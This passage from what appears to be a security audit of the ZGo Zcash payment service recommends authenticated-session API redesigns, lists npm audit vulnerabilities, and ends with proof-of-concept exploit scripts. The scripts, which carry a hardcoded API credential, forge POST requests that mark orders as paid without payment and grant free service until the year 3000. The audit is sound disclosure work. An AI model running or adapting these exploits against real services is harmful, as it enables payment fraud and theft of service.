
```
AuthenticateSession:
    Input:
        - s_id
        - s_key
        - pin
    Action:
        - Look up s_id in the database and retreive and verify s_key's hash.
        - Ensure the hash of pin matches the pin hash stored session record.
        - Set authenticated=true in the session record.
    Return:
        - Success/error status.
```

At this point, the user's session is authenticated as the owner of their Zcash address. Now, *only someone who knows* `s_id` *and* `s_key` *should be able to call the APIs that modify owner records.*

Getting and setting owner information

The `/api/owner` API should be removed and replaced with fine-grained APIs for creating new owners, accessing owner information, and modifying owner information.

```
CreateNewOwner:
    Input:
        - s_id
        - s_key
    Action:
        - Look up s_id in the database and retreive and verify s_key's hash.
        - Check that authenticated=true in the session and retrieve its address.
        - Create a new owner with the session's address if one does not exist.
    Return:
        - Success/error status.
```

Another API can be added to let JavaScript code access owner information that should only be available to the owner themselves.

```
GetOwnerPrivateInfo:
    Input:
        - s_id
        - s_key
    Action:
        - Look up s_id in the database and retreive and verify s_key's hash.
        - Check that authenticated=true in the session and retrieve its address.
        - Retrieve the owner associated with the address and return its data.
    Return:
```

```
        - Owner data which should be accessible to the actual owner.
```

To retreive an owner's public information, such as their name, one option is to add a `GetOwnerPublicInfo` API which does not check for an authenticated session and only returns information that is safe to share with everyone. However, this would make it possible for anyone to map Zcash addresses to names, so it would be preferable limit the distribution of owner information to clients who definitely need it, such as when they know an order ID for one of the owner's orders.

Getting and setting order information

The same pattern of checking for an authenticated session, as exemplified above, should be used to ensure that only the correct owner can modify their orders, items, etc. For example, we can add API for creating/modifying orders:

```
UpsertOrder:
    Input:
        - s_id
        - s_key
        - order_id
        - order data
    Action:
        - Look up s_id in the database and retreive and verify s_key's hash.
        - Check that authenticated=true in the session and retrieve its address.
        - Look for orders with ID order_id **and the correct owner address.**
        - Upsert the order data into that record of the database.
    Return:
        - Success/error status.
```

It is *essential* to ensure that the order being modified is *for the owner identified by the address in the authenticated session*, otherwise anyone who is logged in would be able to change any order.

In order for end-users to access order information when paying their invoices, another API can expose public order information:

```
GetOrder:
    Input:
        - order_id
    Action:
        - Return public order information for the order with ID order_id.
    Return:
        - Order information (items, owner name, owner's Zcash address, etc.)
```

All of the other APIs should be updated similarly, following the pattern that (a) *when modifying data, ensure that the user is the actual owner of the data by checking for an authenticated session with the correct address* and (b) *when returning information, ensure that the information being returned is appropriate for the authentication level of the user making the incoming request.*

There should be *no way to use an API call to mark an order as paid.* Instead, the only way an order should be marked as paid is when the ZGo backend server detects the payment transaction.

After updating the API, re-review all of the sub-issues of Issue A to ensure that all of the vulnerabilities have been fixed.

B Vulnerable NPM plugins

```
$ npm audit report

@angular/core  <11.0.5
Severity: moderate
Cross site scripting in Angular - https://github.com/advisories/GHSA-c75v-2vq8-878f
No fix available
node_modules/angular-material-datepicker/node_modules/@angular/core
  @angular/cdk  <=6.4.7 || 8.0.0-beta.0 - 9.2.4
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/cdk
  @angular/common  <=11.0.4
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/common
  @angular/compiler  <=5.0.0-rc.9
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/compiler
    @angular/platform-browser-dynamic  <=11.0.4
    Depends on vulnerable versions of @angular/common
    Depends on vulnerable versions of @angular/compiler
    Depends on vulnerable versions of @angular/core
    Depends on vulnerable versions of @angular/platform-browser
      node_modules/angular-material-datepicker/node_modules/@angular/platform-browser-
dynamic
  @angular/forms  <=11.0.4
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/forms
  @angular/http  *
  Depends on vulnerable versions of @angular/core
  Depends on vulnerable versions of @angular/platform-browser
  node_modules/angular-material-datepicker/node_modules/@angular/http
  @angular/material  <=6.4.7 || 8.0.0-beta.0 - 9.2.4
  Depends on vulnerable versions of @angular/cdk
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/material
  @angular/platform-browser  <=11.0.4
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/core
  node_modules/angular-material-datepicker/node_modules/@angular/platform-browser
```

```
  @angular/router  <=0.0.0-ROUTERPLACEHOLDER || 2.0.0-rc.0 - 11.0.4
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/core
  Depends on vulnerable versions of @angular/platform-browser
  node_modules/angular-material-datepicker/node_modules/@angular/router
  angular-material-datepicker  *
  Depends on vulnerable versions of @angular/common
  Depends on vulnerable versions of @angular/compiler
  Depends on vulnerable versions of @angular/core
  Depends on vulnerable versions of @angular/forms
  Depends on vulnerable versions of @angular/http
  Depends on vulnerable versions of @angular/material
  Depends on vulnerable versions of @angular/platform-browser
  Depends on vulnerable versions of @angular/platform-browser-dynamic
  Depends on vulnerable versions of @angular/router
  node_modules/angular-material-datepicker

http-cache-semantics  <4.1.1
Severity: high
http-cache-semantics vulnerable to Regular Expression Denial of Service - \
    https://github.com/advisories/GHSA-rc47-6667-2j5j
fix available via `npm audit fix`
node_modules/http-cache-semantics

webpack  5.0.0 - 5.75.0
Severity: high
Cross-realm object access in Webpack 5 - https://github.com/advisories/GHSA-hc6q-2mpp-
qw7j
fix available via `npm audit fix`
node_modules/webpack
 @angular-devkit/build-angular  0.1200.0-next.0 - 13.3.10 || 14.0.0-next.0 - 14.2.10 || \
    15.0.0-next.0 - 15.2.3 || 16.0.0-next.0 - 16.0.0-next.3
  Depends on vulnerable versions of webpack
  node_modules/@angular-devkit/build-angular

14 vulnerabilities (11 moderate, 3 high)

To address issues that do not require attention, run:
  npm audit fix

Some issues need review, and may require choosing
a different dependency.
```

C Proof-of-Concept Exploit Code

C.1 Marking an order as paid without paying

```
// mark-order-as-paid.js
// Get this data by querying https://api.zgo.cash/api/order/<order ID>
let order = {
    "_id": "[redacted]",
    "address": "[redacted]",
    "closed":false,
    "currency":"usd",
    "externalInvoice":"",
   "lines":[{"cost":1.0e-3,"name":"Test Item","qty":1},{"cost":1.0e-3,"name":"Test Item","qty":1}],
    "paid":true,
    "price":0,
    "session":"invalid",
    "shortCode":"",
    "timestamp":"2023-05-02T18:09:38.965Z",
    "total":2.0e-3,
    "totalZec":0
}

let url = "https://api.zgo.cash/api/order";

var request = require("request")
request({
    url: url,
    method: "POST",
    json: {
        "payload": order
    },
    headers: {
       "Authorization": "Basic " + Buffer.from("user:Thogh8sahjei").toString('base64'),
        'Content-Type': 'application/json'
    }
}, function (error, response, body) {
    if (!error && response.statusCode === 200) {
        console.log(body)
    }
    else {
        console.log("error: " + error)
        console.log("response.statusCode: " + response.statusCode)
        console.log("response.statusText: " + response.statusText)
    }
})
```

C.2 Obtaining free ZGo service

```
// mark-owner-as-paid.js
owner = {
    address: '',
    name: '',
    currency: 'usd',
    tax: false,
    taxValue: 0,
    vat: false,
    vatValue: 0,
    first: '',
    last: '',
    email: '',
    street: '',
    city: '',
    state: '',
    postal: '',
    phone: '',
    paid: false,
    website: '',
    country: '',
    zats: false,
    invoices: false,
    expiration: new Date(3000, 11, 25).toISOString(),
    payconf: false,
    viewkey: '',
    crmToken: ''
};

// Obtain this information for your own owner by GETing /api/owner with your address.
owner._id = "[redacted]";
owner.address = "[redacted]";
owner.city = "my city";
owner.country = "my country";
owner.crmToken = "";
owner.currency = "usd";
owner.email = "zecsec@defuse.ca";
owner.expiration = new Date(3000, 11, 25).toISOString();
owner.first = "Taylor";
owner.invoices = false;
owner.last = "Hornby";
owner.name = "ZecSec Testing";
owner.paid = true;
owner.payconf = true;
owner.phone = "";
owner.postal = "my postal code";
```

```
owner.state = "my state";
owner.street = "my address";
owner.tax = false;
owner.taxValue = 0;
owner.vat = false;
owner.vatValue = 0;
owner.viewkey = "[redacted]";
owner.website = "https://zecsec.com/";
owner.zats = false;

let url = "https://api.zgo.cash/api/owner";

var request = require("request")
request({
    url: url,
    method: "POST",
    json: {
        "payload": owner
    },
    headers: {
       "Authorization": "Basic " + Buffer.from("user:Thogh8sahjei").toString('base64'),
        'Content-Type': 'application/json'
    }
}, function (error, response, body) {
    if (!error && response.statusCode === 200) {
        console.log(body)
    }
    else {
        console.log("error: " + error)
        console.log("response.statusCode: " + response.statusCode)
        console.log("response.statusText: " + response.statusText)
    }
})
```